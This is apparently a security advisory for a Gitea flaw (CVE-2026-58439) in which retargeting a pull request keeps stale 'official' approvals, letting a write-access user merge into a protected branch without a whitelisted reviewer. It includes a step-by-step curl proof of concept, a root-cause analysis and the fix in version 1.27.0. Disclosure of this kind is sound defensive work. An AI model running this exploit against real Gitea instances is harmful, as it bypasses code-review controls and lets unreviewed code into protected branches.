CVE-2026-58439: Gitea Branch Protection Bypass via PR Retargeting
A Gitea user with write access can get a pull request approved against an unprotected branch, then silently redirect that PR to a protected branch, and merge it without any legitimate approver ever…
The problem
When a pull request review is submitted, Gitea computes an official boolean by checking whether the reviewer is in the target branch's approval whitelist. That value is stored in the database on the review record.
When the PR's target branch is later changed via ChangeTargetBranch in services/pull/pull.go, Gitea updates pr.BaseBranch but never touches existing reviews. At merge time, GetGrantedApprovalsCount in models/issues/pull.go counts rows where official = true AND dismissed = false AND type = Approve, reading the stale stored value without re-checking the new branch's whitelist.
An attacker with write (not admin) access can exploit this to merge code into a protected branch without any whitelisted approver reviewing it.
Proof of concept
A working proof-of-concept for CVE-2026-58439 in code.gitea.io/gitea, with the exact payload below.
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password"
# 1. Create an unprotected branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Open PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"head": "malicious-branch", "base": "tmp-unprotected", "title": "Add feature"}'
# Note the returned PR number as N
# 3. Approve the PR (official=true because tmp-unprotected is unprotected)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ACCOMPLICE_AUTH" \
-H "Content-Type: application/json" \
-d '{"event": "APPROVED", "body": "LGTM"}'
# Response: {"official": true, "dismissed": false, "state": "APPROVED"}
# 4. Retarget the PR to protected master (approval stays official=true)
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"base": "master"}'
# 5. Merge succeeds despite no whitelisted approver
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"do": "merge"}'The root cause is that official is computed once at review submission time against the then-current pr.BaseBranch, then persisted as a raw boolean. ChangeTargetBranch (CWE-863: Incorrect Authorization) mutates the base branch without invalidating those stored values.
At merge time, GetGrantedApprovalsCount performs a simple SQL count on the stored boolean, so a stale official=true from an unprotected branch satisfies the protected branch's required-approvals gate. The patch (PR #38319, commits 74ad781 and 8401fe7) adds a re-evaluation loop inside ChangeTargetBranch that calls IsUserOfficialReviewer against the new branch's protection rules and updates each review's official column accordingly before the function returns.
The fix
Upgrade to Gitea 1.27.0. The fix is in services/pull/pull.go: after pr.BaseBranch is updated, ChangeTargetBranch now iterates all existing approve-type reviews, re-evaluates official against the new branch's whitelist via IsUserOfficialReviewer, and persists any changes before returning.
No configuration change is required beyond upgrading.
Reported by yonatan-pl.
Related research
- high · 8.8CVE-2026-27775CVE-2026-27775: Gitea Pre-Receive Hook Authorization Bypass via Cached Branch Permission
- high · 8.1CVE-2026-55987CVE-2026-55987: Gitea OAuth2 Sign-In Reactivates Admin-Deactivated Accounts
- high · 8.9CVE-2026-58424CVE-2026-58424: Gitea Actions Fork PR Approval Gate Permanent Bypass
- high · 7.5CVE-2026-58419CVE-2026-58419: Gitea Notification API Private Issue Metadata Leak After Access Revocation